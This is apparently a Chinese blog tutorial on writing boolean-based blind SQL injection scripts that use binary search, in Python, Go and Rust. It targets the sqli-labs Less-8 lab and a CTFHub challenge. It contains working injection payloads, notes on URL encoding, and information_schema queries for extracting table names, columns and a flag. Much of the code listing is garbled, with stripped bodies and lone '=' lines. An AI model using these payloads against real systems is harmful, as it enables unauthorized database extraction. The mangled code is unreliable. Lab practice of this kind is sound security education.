SQL 布尔盲注自动化脚本二分查找实践与踩坑(Python, Golang, Rust)
目录
SQL 盲注类型可以通过 sqlmap 简单地完成,亦可自己写一个简单的盲注脚本。现有的盲注脚本代码与文章质量良莠不齐,且大部分用的是线性搜索,效率奇低。
故本文实践一下二分查找算法的盲注脚本,与此同时记录一下在这个过程中所遇到的坑点。(尤其是 Golang 实践中的坑)
为以后各语言的注入脚本提供一个基于二分查找的可实践版本的代码。
测试环境安装
本文主要使用两个环境。一个是 docker 版的 sqli-labs,另一个是 CTFHub 的 SQL 布尔盲注(在线版)。
安装并运行的 sqli-labs 命令如下:
两个 URL 分别为如下:
SQL 盲注脚本编写
现有盲注脚本主要分为线性搜索和二分查找算法。目前可以通过搜索引擎简单搜索到到均是线性搜索,且代码普遍质量达不到我个人认可的程度。
代码中有用的注释也比较少,可能大家写脚本的都不是专业的。因此本文提供 Python、Golang 和 Rust 版本的线性与二分查找算法的代码。
希望本文可以为高效率盲注提供一个具体的实践方案。
本节使用 sqli-labs 的 Less-8 来示范这个编写过程所遇到的问题。
前提: 本文中 Less-8 可用的 payload 为:
# 未被编码过
http://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
# 编码过亦可成功
http://192.168.3.104/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))=115 --+
# 编码过但是无法成功,因为关键的最后一个`+`被编码了
http://192.168.3.104/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))=115 --%2B
Python 版
在盲注脚本中 python 库使用的是 requests。
坑点 1:不使用 params 的方式完成 URL 拼接
坑点 1: 在 Python 中,只能通过 URL 拼接的方式来完成 URL 的构造。 不能用 params 的方式来完成拼接。
比如举个例子:
=
=
=
=
=
此时输出为:
# 这个是无效的payload,因此不能通过params的方式拼接
http://192.168.3.104/Less-8/?id=1
+and+ascii substr database C1 C1 D115+-- B# 拼接后是原始有效的
http://192.168.3.104/Less-8/?id=1'%20and%20ascii(substr(database(),1,1))=115%20--+
线性搜索与二分查找算法实现
先考虑最简单的情况,只去“猜”一个字符。
- 常规的线性搜索过程如下:
# 可显的ASCII字符为:32(<空格>)~126(~)
= f
=
+=
# 注:使用break来提前退出
break
- 二分算法实现查找过程:
原理如下:与传统的二分算法不同在于,是否能够找得到对 SQL 盲注来说是一件非常重要的事情。
网络上有的作者写的是不能判断,因此程序或有 bug。
其实没有必要,只需利用二分查找过程中的“相等匹配”即可“立刻”判断出是否找到。
= 32
= 126
= // 2 # 取整
# 第一次判断是否相等
= f
=
+=
= False
break
pass
# 再判断范围,然后缩小范围
= f
=
= + 1
= - 1
pass
找出完整信息
在上述的基础之上,怎么知道当前的字符是否判断完整?
针对于这个问题,有网友提出解决办法是在“猜”字符 ASCII 码前,先用 length()“猜”出长度即可控制程序循环逻辑。
但这无异于增加程序逻辑复杂性。解决办法其实比较简单,用两层循环即可完成该目标。
线性搜索如下:
= 1
= False
# 总是假设该轮循环会退出
= True
= f
=
+=
# 已找到一个字符,说明下一轮「可能」还会有字符,因此不能退出
= False
break
pass
+= 1
return
二分查找如下:
= 1
= False
# 总是假设该轮循环会退出
= True
= 32
= 126
= // 2
= f
=
+=
= False
break
pass
# another test for narrow down left or right range to search
= f
=
= + 1
= - 1
pass
+= 1
完整的代码
# base_url = "ttp://192.168.3.104/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+"
=
=
# more detail: https://stackoverflow.com/a/803626/8587335
=
=
=
=
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= f
=
+=
= False
break
pass
+= 1
return
=
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= 32
= 126
= // 2
= f
=
+=
= False
break
pass
# another test for narrow down left or right range to search
= f
=
= + 1
= - 1
pass
+= 1
return
)
看一下输出的结果与时间对比:
可见二分查找的效率是有多么地显著。珍爱生命,还是尽可能有二分这种查找算法吧。写起来也并不复杂。
Golang 版
Golang 版没有比较成熟与好用的库类似于 Python 的 requests,但是有一个类似的库叫:grequests。
这个库等价于 python 中的 requests,其使用的基础库是 net/http(等价于 Python 中的 urllib)。
坑点 2:未编码 URL
如果带着 Python 的相同写法来写代码,那么很容易出现你意料之外的事情。
坑点 2:一定要编码 URL,否则会导致 URL“不全”的错误。
什么意思呢?这里用代码举个例子:
var mark = "You are in"
func main()
这段代码的执行结果为:
咦~?怎么回事?为什么我们说好的 payload 没作用了?是这个 grequests 的库问题?还是 golang 的版本问题(我的 go 版本是 1.13.6)?还是这个 golang 版本的 net/http 的问题(比如这个 issue )?
不知道。很有可能在任何一个过程中出错。
排查错误与修复
- 排查 URL
payload 也就是 URL 其实是很容易复制错的,因此优先看这个是否存在错误。
这时我们需要去打印出这个 request 的 url 的时候,经过我一段时间的探索后,发现 grequests 这个库没有办法显示出请求的 URL 一样,不像 Python 的 requests 库一样。比如这个 issue: https://github.com/levigross/grequests/issues/49
很遗憾,grequests 不像 python 的 requests 库一样强大。
那么我们在网页服务端显示出我们需要执行的 sql 的 payload 即可。
第一步:
进入 docker 的这个 container:
# 换成自己的container ID
第二步:
给网页显示增加显示 SQL 的执行语句的功能:
$sql="SELECT * FROM users WHERE id=' ' LIMIT 0,1";
# 在这句的下面新添加语句如下:
;
;
;
然后增加输出 response 的 body 本身,代码修改如下:
var mark = "You are in"
func main()
结果如下:
Less-8 Blind- Boolian- Single Quotes- String
Dhakkan
Welcome
<!-- 省略了一大堆空行 -->
Your SQL:SELECT * FROM users WHERE id='1'' LIMIT 0,1
Ohh! You are not in!
可以看到,我们的 SQL 语句变成了:
难怪 payload 没有生效!我们的语句就没有传达到服务端(因为这个 sqli-labs 是不自带 WAF 的)。
这个问题就说明了,我们在客户端进行发送的时候肯定出了什么问题。那么问题就定位在 grequests 或者 golang 的 net/http 身上。
- 排查 grequests 或 golang 的 net/http
经过我个人的一番翻阅源代码,比如这个: https://github.com/levigross/grequests/blob/253788527a1af7adb29e20dee7165c2b5b43f08f/request.go#L148-L210 grequests 用的就是 net/http 与 net/url 去发送请求的。因此 grequests 的库本身是没什么大的问题的。(虽然以我浅薄的认知,我觉得 grequests 是可以改进的,比如进行“适度地”编码。)
PS: 为什么是“适度地”编码?因为我们只想要它把空格编码成 %20 这种程度即可,对于末尾的关键性的+,我们不希望它编码为 %2B,否则我们的 payload 就会彻底失效。但是这个度其实是很难把握度,所以 grequests 维持这样的状态是完全可以理解的。
- 修复由于 golangnet/http 带来的问题
既然是 golang 自己的库解析的问题,说明我们很难通过修改底层的源代码去解决这个问题。那么我们来探索一下这个到底发生了什么,为什么会发生这样的情况。
在开始之前,我们可以根据上面的第二点,知道,我们的 payload 在 ’ 之后被“截断”了,也就是空格之后就没了。
那么我们猜测,这里是因为有空格的问题而被截断了。
理由有如下:
- 在 payload 上看不到空格以后的东西了
- 根据这个 issue,可以知道,空格在 URL 中是危险的。因此要么会被转义成 %20 或者+(RFC 更加倾向前者)。 所以基于以上理由,我们假设:URL 中未被编码的空格会被截断掉。当然这个假设的前提是 golang 的版本是 1.13.6。可能在其他版本中会被休息(个人认为可能性不大,因为这个不算是一个 bug,而更加可能是一个 feature)。
我们来进行代码执行对比一下来验证我们的猜想。URL 我们测试两个:
测试结果如下:(为了显示简洁,不打印 response 的 body 内容了)
# 第一个结果:
# 第二个结果:
我们的猜想合理且正确!URL 中未被编码的空格的确会被截断掉。
完整的代码
到此,遇到的问题也解决了。直接看下代码里怎么写。整体和 Python 版的类似,并无其他大的区别。
package main
import (
"fmt"
"github.com/levigross/grequests"
"log"
"strings"
"time"
)
var baseURL = "http://192.168.3.104/Less-8/?id="
var mark = "You are in"
// Comes from: https://dev.to/rubiin/measure-function-execution-time-in-golang-177l
func measureTime(start time.Time, name string)
func probeDatabaseLinear() string
func probeDatabaseBinary() string
func main()
同样看下执行结果:
额~虽然可能大多数人普遍认为安全行业的工具类东西不需要考虑性能,但是 Golang 的这个效率的确很香。
其他想法与测试
那么,我们能不能不手工去编码,这样不优雅啊,直接去调用 golang 的 net/url 来帮我们编码呢?
想法很好,但是很可惜不能。golang 的 url 编码太彻底了。会让我们的 url payload 失效。
我们举个例子:
package main
import (
"fmt"
"net/url"
)
func main()
然后结果为:
未去访问这个 url 就知道不行了,最后一个+ 被编码了。
不如真实访问一下看看网页的 payload 是怎样的:
=115 ) ))
果然没有 You are in 的标示,通过 SQL 也可以看出来为什么我们的 payload 不成功。
因此,结论:当我们有这个需求的时候,只能通过手工编码。
Rust 版
Rust 中的有没有 python 一样的 requests 库呢? 答:还真没有可用且成熟的(截止 2021 年 5 月)。有一个 requests 库,但是这个库是 3 年前更新的,你敢用吗?我不敢。
但是,Rust 中有比 python 的 requets 的库更强大的库:reqwest。
它虽然没有类似于 Python 的 requests 库一样的 API,但是它足够强大,甚至支持默认支持异步。
所以,python 的 requests 库等同于 Rust 的 reqwest,python 的 urllib 等同于 Rust 的 Hyper(其实更加与 Golang 的 net/http 更像)。
坑点 3:Rust 中坑点
Rust 这么完美的语言怎么可能有坑点?没有的。
简单的非异步 reqwest 示例
由于 reqwest 默认启用异步的 feature,但是我们只请求简单的内容,无需用上异步这么复杂又牛逼的东西。
因此在 Cargo.toml 中增加如下内容以启用 blocking 的 feature:
[]
= { = "0.11.3", = ["blocking"] }
主要的代码如下:
可以看到输出为:
如果不关注语法细节,整体的理解起来还是很简单的。而且没有 Golang 那样的编码问题。
完整的代码
与 Python 的逻辑类似,没有什么不同的地方。
PS: 此处使用闭包来测量函数执行的时间。
use Instant;
const BASE_URL: &str = "http://192.168.3.104/Less-8/?id=";
const MARK: &str = "You are in";
// https://stackoverflow.com/a/25182801/8587335
同样来看一下时间:
时间还是比 Golang 要长一点,所以还是 Golang 可能会更香一点。
实践
- 启动测试环境
在 CTFHub 上启动布尔盲注题目环境。获得环境链接如下:
- 完整的盲注过程代码
这部分的代码,有几个需要注意的点:
代码中通过 sql_payload 独立出来使语句变短以及可读 使用 group_concat()
函数来把多个结果绑成一个结果输出 如果不用 group_concat()
,那么需要通过调节 limit 0,1
来去“猜”不同的 ASCII 码。
比如完整的 SQL 的 payload 如下:
# 一次只能猜一个,除非调节limit的参数
=
# 一次性把所有的结果用`,`链接(group_concat默认)
=
这样一来,程序的逻辑也会降低。
=
=
# more detail: https://stackoverflow.com/a/803626/8587335
=
=
=
=
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= f
=
+=
= False
break
pass
+= 1
return
=
# params = {'id': "1' and ascii(substr(database(),1,1))=115 --+"}
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= 32
= 126
= // 2
= f
=
+=
= False
break
pass
# another test for narrow down left or right range to search
= f
=
= + 1
= - 1
pass
+= 1
return
=
# sql_payload = "select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1"
# 这里解决了一个痛点:对于多个表名,通过group_concat()链接,那么就不需要去改变`limit 0,1`
=
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= 32
= 126
= // 2
= f
=
+=
= False
break
pass
# another test for narrow down left or right range to search
= f
=
= + 1
= - 1
pass
+= 1
return
=
# sql_payload = "select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1"
# payload: select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'flag' and TABLE_SCHEMA = database()
= f
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= 32
= 126
= // 2
= f
=
+=
= False
break
pass
# another test for narrow down left or right range to search
= f
=
= + 1
= - 1
pass
+= 1
return
=
# payload: select flag from flag
= f
# all visible character is: 32( )->126(~)
= 1
= False
# always assume we will exit in this loop
= True
= 32
= 126
= // 2
= f
=
+=
= False
break
pass
# another test for narrow down left or right range to search
= f
=
= + 1
= - 1
pass
+= 1
return
输出结果如下:
PS1: 可以注意到,这个时间比本地的 Docker 的环境慢了很多。那是因为 CTFHub 一次的请求最大就是这么多。若是本地无限制跑,速度也是很快的。
PS2: 无法“完全自动化”。必须有一个类似于 sqlmap 那样的交互过程。毕竟你所需要的表、列与字段都是不确定的。
总结
- 坑点总结
Python 的 requests 库的 params 不能用。需要通过字符串拼接的方式完成,但是不需要手动编码。
Golang 的 net/http 会截断空格,需要手动编码。
Rust 无坑点
- 在几个语言里,都有衡量时间的函数来 handle。具体可以参考另一篇文章: